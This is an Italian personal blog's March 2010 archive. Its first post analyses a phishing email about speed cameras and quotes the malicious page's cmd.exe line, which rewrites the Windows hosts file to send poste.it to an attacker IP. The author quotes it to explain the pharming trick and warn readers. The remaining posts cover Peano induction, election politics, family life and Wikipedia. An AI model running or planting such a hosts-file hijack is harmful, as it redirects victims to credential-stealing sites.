Archivio mensile:Marzo 2010

sfruttare la paura dell’autovelox

Mario mi invia un messaggio di phishing proprio “simpatico” che gli è arrivato (e che gmail fortunatamente mette nello spam).
Il messaggio ha come titolo Autovelox e Tutor: dove sono?, il sedicente mittente è info@auto.it, la provenienza sembra essere dall’IP 192.168.74.6, e racconta di come la polstrada abbia messo un sito dove sono indicate le postazioni degli autovelox (vero). Cosa succede però se si apre il link, che – come forse avete immaginato – NON è al sito della Polizia Stradale?
Il codice HTML di quella pagina contiene tra l’altro queste righe:
<param name='first' value='cmd.exe /c echo 210.86.2.150 poste.it >>
%windir%\System32\drivers\etc\hosts & echo 210.86.2.150 www.poste.it
>> %windir%\System32\drivers\etc\hosts' >

Detto in termini meno criptici: se uno ha un PC con Windows, gira con i privilegi di amministratore, e ha un browser non troppo sveglio (Insomma Etilista) allora la pagina web fa in modo che la prossima volta che il malcapitato vuole andare nel sito www.poste.it sarà automaticamente rediretto al sito 210.86.2.150, che a sua volta (in questo momento, ma il bello della cosa è che possono cambiarlo quando vogliono!) punta a ftp://213.123.204.189/bpol/cartepre/index.html; che cosa faccia questo sito, ve lo lascio immaginare.
Come avrete intuito, la cosa pericolosa è che il phishing vero e proprio arriva in un secondo momento, e quindi l’ignaro utente non si accorge di nulla. Sapevàtelo!

Ultimo aggiornamento: 2010-03-05 11:44

L’induzione matematica [1/2]

Lo sappiamo tutti: Sherlock Holmes è il principe della deduzione. Almeno, ci è sempre stato venduto in questo modo, anche se poi a guardar bene anche l’investigatore dal naso adunco – o meglio Arthur Conan Doyle – spesso barava e tirava fuori dal cappello alcune informazioni che non erano state date al lettore, oppure giungeva a conclusioni non certe ma altamente probabili. I filosofi affermano che il metodo holmesiano si dovrebbe più correttamente definire abduzione, come lo pseudosillogismo che da una premessa maggiore corretta (“tutti gli uomini sono mortali”) e una minore molto probabile (“Giulio Andreotti dovrebbe essere un uomo”) conclude con una conseguenza molto probabile (“si presume che prima o poi Andreotti morirà”). A proposito di abduzione, attenti ai falsi amici! In inglese “abduction” è il rapimento, soprattutto se da parte di alieni… ma non divaghiamo.
Il vero regno del campo deduttivo è naturalmente la matematica, dove si inizia a mettere i paletti (gli assiomi e i postulati) e da lì si va man mano avanti a dedurre i vari teoremi, come abbiamo tutti imparato quando abbiamo studiato geometria. Se ci pensarte un po’, però, la deduzione è un percorso in un certo qual senso sterile; tutto quello che deduciamo, per quanto possa sembrare incredibile – avete presente il cosiddetto teorema di Napoleone? Se si disegnano le trisettrici di un triangolo qualunque, queste si incontrano a due a due nei vertici di un triangolo equilatero – era già presente in nuce negli assiomi e postulati iniziali. Non abbiamo inventato nulla, ma solo scoperto quello che c’era già fin dall’inizio. Ripensandoci, non è affatto strano che la gran maggioranza dei matematici sia fondamentalmente della scuola platonista; a furia di trarre conseguenze logiche di quello che hai, ti inizia a sorgere il dubbio che gli enti matematici sono tutti lì da qualche parte, un po’ come in Flatterlandia.
Eppure anche in matematica c’è un modo per tirare fuori qualcosa di nuovo: l’induzione (“induzione matematica” se si vuole fare i precisini, ma in genere l’aggettivo si omette perché è chiaro che si sta facendo matematica). Anche nel mondo di tutti i giorni si parla di “procedimento induttivo” , ma in realtà è tutta un’altra cosa; si vedono alcune correlazioni, per esempio che quando spunta il sole settembrino dopo un temporale si trovano molti funghi, e si stabilisce una legge generale, che il sole dopo la pioggia faccia crescere i funghi. Tale legge può però essere vera o falsa, ed è solo un risultato empirico che fa rabbrividire un qualunque matematico se applicato alla propria scienza. Qui si tratta di qualcosa di completamente diverso.
La formalizzazione dell’induzione matematica è stata data da Giuseppe Peano nella sua definizione dei numeri naturali. Gli assiomi di Peano sono cinque, come i postulati della geometria euclidea; l’induzione è l’ultimo e il più complicato da spiegare, proprio come in geometria euclidea. Dopo avere stabilito per legge che 0 è un numero, che esiste una funzione S (“successore”) tale che se n è un numero anche S(n) è un numero (“per quanto grande sia un numero, posso sommarci uno”), che non esiste un numero x tale che S(x) = 0 (“zero è il primo numero”), e che se ci sono due numeri m e n per cui S(m) = S(n) allora m = n (“posso mettere tutti i numeri in fila”), il quinto assioma dice che “Se una proprietà P vale per 0 – cioè P(0) è vera – e sappiamo inoltre che se P vale per n allora vale anche per S(n), allora P vale per tutti i numeri naturali”. Per amor di precisione, il quinto assioma di Peano afferma che non ci sono altri numeri naturali al di fuori di questi, ma è un punto secondario. In un certo senso, questo quinto assioma ricorda il postulato delle parallele: molto più complicato degli altri, uno si chiede se è proprio necessario e non si possa invece farne a meno. La risposta è però molto diversa, come vedremo subito.
La cosa che dovrebbe subito saltare alla vista è che il quinto assioma di Peano, a differenza degli altri, tratta con l’infinito. Gli altri assiomi lavorano tutti con un numero o due; anche dire “se esiste il numero un fantastiliardo, allora esiste anche un fantastiliardo e uno” è una proprietà locale. Col quinto assioma, invece, dobbiamo prendere tutti i numeri contemporaneamente. L’immagine che io ho in mente è quella di un numero infinito di tessere del domino messe ritte in piedi una vicina all’altra. Forse avete visto quei video in cui ci si limita a dare un colpetto alla prima tessera, che cadendo tocca la seconda che a sua volta cade colpendo la terza… finché tutta la costruzione finisce giù per terra. Ecco, l’induzione è esattamente la stessa cosa, solo che le tessere sono infinite. Per la cronaca, esistono due definizioni di induzione: nell’induzione forte, invece che solo per n, la proprietà P deve valere per tutti i numeri inferiori o uguali a n, perché valga anche per n+1. Ma in realtà le due formulazioni sono equivalenti, e si può scegliere l’una o l’altra a seconda della comodità. Inoltre non è affatto detto che l’ipotesi induttiva debba partire necessariamente da 0; la proprietà può essere valida da un certo numero k, e ovviamente il risultato sarà valido per ogni intero maggiore o uguale a k. Così, se vogliamo dimostrare per induzione che la somma degli angoli di un poligono convesso di n lati è pari a n-2 angoli piatti, partiremo dal triangolo e non certo da un ipotetico poligono con zero lati!
[non è tutto qua, vai alla seconda parte]

Ultimo aggiornamento: 2010-03-05 07:00

se a destra fossero furbi

Nonostate gli strepitii di Ignazio La Russa, è ben difficile riuscire a trovare un cavillo legale per riammettere la lista romana del PdL alle regionali del Lazio. D’accordo che il partito fin dal suo nome si arroga la libertà di fare quello che gli pare, ma se la legge dispone un termine ultimo tu a quel termine ultimo ti devi attenere. Se io pago le tasse un giorno in ritardo non è che possa portare in piazza un po’ di persone per evitare le sanzioni, no?
Tenuto da parte il caso del listino Polverini in Lazio almeno fino alla pubblicazione del ricorso, resta la situazione lombarda. A quanto pare, il PdL avrebbe anche bisogno di un pallottoliere, visto che ha affermato di avere presentato 3935 firme mentre ce n’erano soltanto 3628 (tutto questo lasciando stare per il momento la validità dei timbri non tondi). Che può fare la destra, se effettivamente le firme non valide non lo sono per ragioni sostanziali e non formali?
Come sempre, ci sono varie opzioni. Far finta di niente e ammettere lo stesso la lista per decreto, come Massimo Franco sul Corsera vorrebbe, mi sa che porterebbe a sollevazioni non solo in Italia ma anche all’estero, perché sarebbe davvero in spregio alle regole. Potrebbero tentare di fare una sanatoria generale, ammettendo tutte le liste che si sono presentate ma non hanno portato abbastanza firme, come ad esempio i radicali (che in Lombardia avrebbero corso da soli): formalmente garantista per tutti, nella sostanza un provvedimento sfacciatamente di parte.
Resta un’ultima ipotesi: non ammettere il listino Formigoni, ma accettare le liste ad essa collegate, che per legge sarebbero automaticamente escluse. Certo, è una modifica in corsa alla legislazione (nazionale, tra l’altro, visto che la Lombardia non ha mai promulgato una legge regionale per disciplinare le elezioni); però onestamente mi pare corretto che gli elettori possano votare per i candidati di PdL e Lega, le cui liste sono state correttamente presentate. Cosa succederebbe a questo punto? Si può presumere che la destra non avrebbe il governatore e nemmeno il premio di maggioranza – i sedici candidati del listino; però nel proporzionale avrebbe una maggioranza tale da rendere difficile se non impossibile la governabilità della regione, e quindi si arriverebbe forse già l’anno prossimo a nuove elezioni… dove Roberto Formigoni potrebbe ricandidarsi, visto che un giro l’ha saltato. Un anno di blocco istituzionale farebbe male alla Lombardia, ma che ci volete fare?
(ah sì, immagino che in questo caso PdL e Lega impugneranno subito l’elezione di Errani a governatore dell’Emilia, visto che anche lui, come Formigoni, è ineleggibile. Fanno solo bene, ma è una misera rivincita)

Ultimo aggiornamento: 2010-03-04 09:14

Just in time

Per il battesimo di Cecilia, la sua madrina Daniela le ha comprato una sedia Stokke. Il guaio è che a quanto pare la filiale italiana della Stokke è fallita, e il negozio dove è andata a metà gennaio ha dovuto fare l’ordine in Germania, il che è significato aspettare più di un mese l’arrivo del tutto. Finalmente una decina di giorni fa la sedia è arrivata, e sabato ce l’ha portata.
Mentre la montavamo, mi è saltato l’occhio su un codice stampigliato, che presumibilmente indica la data di assemblaggio. Bene: c’era scritto 14-01-2010. Ancora un po’, e i tedeschi aspetteranno il fax di ordine per preparare i pezzi :-)

Ultimo aggiornamento: 2010-03-04 07:00

Cecilia inizia bene

[Cecilia legge, 28/2/2010] Come potete vedere, Cecilia ha preso tutto dai suoi genitori. Eccola lì alle prese con un libro: beh, si inizia con la sovraccoperta, d’accordo, ma non si può pretendere tutto e subito, no? Garantisco che la foto non è affatto stata taroccata o guidata: è stata lei a prendersi la sovraccoperta, sfilarla dal libro, e immergersi nella lettura.
Per la cronaca, Jacopo era al suo fianco, ma non era (ancora) interessato a leggersi qualcosa. Ma sappiamo che lui è sempre in leggero ritardo, da Vero Maschio.
E no, non vi pubblico foto dove si possa vedere bene la faccia dei giovini: la volete mettere, la privacy dei minori?

Ultimo aggiornamento: 2010-03-03 08:00

Offerte molto speciali

Sabato siamo andati all’Auchan alla caccia della crema Dolci Notti™ della Johnson&Johnson. Mentre infatti il bagnoschiuma della stessa linea, prodotto in Italia, è abbastanza facile da trovare, la crema sembra essere elusiva: forse perché non la producono (ancora) da noi ma così ad occhio in Germania.
In effetti le confezioni di crema c’erano, e avevano persino il 25% di sconto; un barattolo da 250 grammi veniva così a costare solo 6 euro e rotti. Però – a qualche scaffale di distanza – lo spazio promozionale temporano aveva prodotti per neonati, tra cui una confezione “in edizione limitata” che in un tripudio di spazio sprecato conteneva crema e bagnoschiuma. Il tutto per un prezzo totale di (rullo di tamburi) €4.90. Quando Anna mi ha chiesto di verificare la cosa non le credevo, ma sono poi andato a controllare ed era proprio così; mi sono così portato a casa quattro confezioni, mi occorreranno mesi e mesi per smaltire il bagnoschiuma che andrà a finire utilizzeremo noi, ma almeno abbiamo la crema a un prezzo civile.
A parte la banale considerazione che se un’offerta simile non è indicata come sottocosto allora il margine che hanno è enorme, mi resta un dubbio: possibile che nessuno del marketing Auchan si sia accorto dell’illogicità del loro posizionamento… a meno che il loro margine sia più o meno simile.

Ultimo aggiornamento: 2010-03-03 07:00

impedito

L’impedito è naturalmente il nostro PresConsMin; illegittimamente impedito, secondo i giudici di Milano che hanno sentenziato che il Consiglio dei Ministri di ieri non era una buona scusa per non essere in aula, visto che è stato indetto dopo che ci si era messi d’accordo per le date delle udienze.
Inutile dire che Berlusconi riteneva invece questo CdM urgente e imprescindibile: in fin dei conti, il Ddl anticorruzione (poi dicono che l’umorismo di destra non esiste…) era stato rimandato troppe volte, e non si poteva certo aspettare. Sono certo che già questa settimana sarà calendarizzato, non dico in aula ma almeno in commissione. Detto questo, com’è che a nessuno venga in mente che l’unico caso in cui la giustificazione te la scrivevi tu era a scuola dopo che diventavi maggiorenne?

Ultimo aggiornamento: 2010-03-02 12:33

Vuoi farti una nuova Wikipedia? [2/2]

Ieri ho spiegato perché Wikipedia non può essere considerata un monopolio di fatto; in poche parole, quello che la caratterizza è il suo contenuto liberamente riutilizzabile, che fa sì che eventuali altri attori non abbiano il “costo di avviamento” perché possono sfruttare i dati già presenti in Wikipedia. Il lettore intelligente – e i miei lettori lo sono per definizione! – potrà a questo punto chiedersi perché non ci sia nessuno che faccia una cosa del genere. La risposta è banale: perché non gli conviene. La fregatura della licenza di Wikipedia è che è virale: quindi è vero che uno può sfruttare tutto quello che trova, ma deve a sua volta permettere agli altri di sfruttare il suo valore aggiunto. Anche se Wikipedia non inserirà la biografia di Porfirio Villarosa, potrebbe sempre sfruttare le “biografie migliorate” di cui sopra; quindi i soldi impiegati sarebbero buttati via – dal punto di vista dell’azienda; per i fruitori ci sarebbe comunque un vantaggio. D’altra parte un semplice lavoro amatoriale non può più avere la forza sufficiente per diventare un valido competitore, se non su temi molto ristretti: su questo i detrattori hanno ragione. Però non ditemi che credete ancora alla favola del nuovo prodotto “fatto dal basso”, dai!
Due ultime parole sul perché –almeno a mio giudizio – sono miseramente falliti i due approcci alternativi più imortanti a Wikipedia. Iniziamo dal più facile da spiegare, cioè il googliano Knol. L’idea di Knol è che ognuno possa mettere la propria versione su un qualunque argomento; saranno poi i fruitori a scegliere la voce a loro giudizio più adatta. In questo modo si ovvia ai problemi di editwar; però il risultato pratico è che si è arrivati a un sistema “write only”. Anche se è possibile per gli autori aprire il proprio knol e permettere a chiunque oppure a un gruppo scelto di contribuire, non sembra che la cosa sia molto seguita. Finisce così che la gente non ha nessuna possibilità di comprendere quale sia la versione migliore tra le varie su una voce; un po’ come su Internet in genere, si può giusto fare una ricerca interna e trovarsi un po’ di risultati non meglio identificati. Non per nulla mi sa che la maggior parte di voi non abbia mai sentito parlare di Knol.
Citizendium ha invece un punto di vista ben diverso, anche se condivide con Knol la logica che gli autori delle voci hanno nome e cognome. Nato da Larry Sanger, che in fin dei conti aveva fatto nascere Wikipedia assieme a Jimmy Wales, Citizendium era formalmente nato come un fork di Wikipedia, anche se poi si è scelto di enfatizzare la creazione di nuove voci; i contibutori devono avere nome e cognome, e le voci vengono rimesse in sesto da un esperto, che ci mette la sua firma e dà il valore aggiunto. Citizendium ha avuto una certa eco in rete anche da noi, anche se esiste solo la versione inglese; e l’approccio, almeno a prima vista, sembrerebbe più interessante. Ma i risultati, almeno se ci si limita a contare il numero degli articoli esistenti, sono ancora più deludenti di quelli di Knol. Credo che la ragione sia molto semplice, e spieghi anche perché Wikipedia ha avuto tutto questo successo. Perché uno deve metterci il suo nome e la sua fatica se non ci guadagna nulla? Con Wikipedia perlomeno si fa una scelta di vita, uno sa che il suo contributo rimane anonimo ma vuole far parte di un grande progetto globale; dire “faccio l’editor ufficilae di Citizendium” non porta nessun vantaggio, e a questo punto tanto vale gestirsi in proprio i documenti che si vuole creare. Certo, se Citizendium avesse la sua importanza magari uno potrebbe anche trascurare il vil denaro e guadagnare la fama di essere un “redattore ufficiale”, ma questo non è il caso. Che vuol dire? Semplicemente che un po’ dei soldi necessari per l’avviamento servirebbero per trovare una partnership importante. Non dico la Treccani – che comunque ha fatto una scelta diversa: per il proprio dizionario chiedono collaborazioni, ma il risultato verrà comunque rivisto redazionalmente e non mi pare ci sarà traccia dell’autore iniziale – ma comunque qualche istituzione culturale che non ci metterebbe i soldi ma appunto il suo nome.
In definitiva, fare una nuova e ci si augura migliore Wikipedia non è facilissimo, ma nemmeno impossibile. Il vero problema è che sarebbe quasi sicuramente un progetto in perdita economica secca. Non che Wikipedia sia in attivo, anzi; ma per il momento i suoi costi sono sufficientemente bassi da poter prosperare. (Oops, ho dato un’altra freccia all’arco dei detrattori dell’enciclopedia: Wikipedia è l’equivalente dei negozi gestiti dai cinesi!)

Ultimo aggiornamento: 2010-03-02 07:00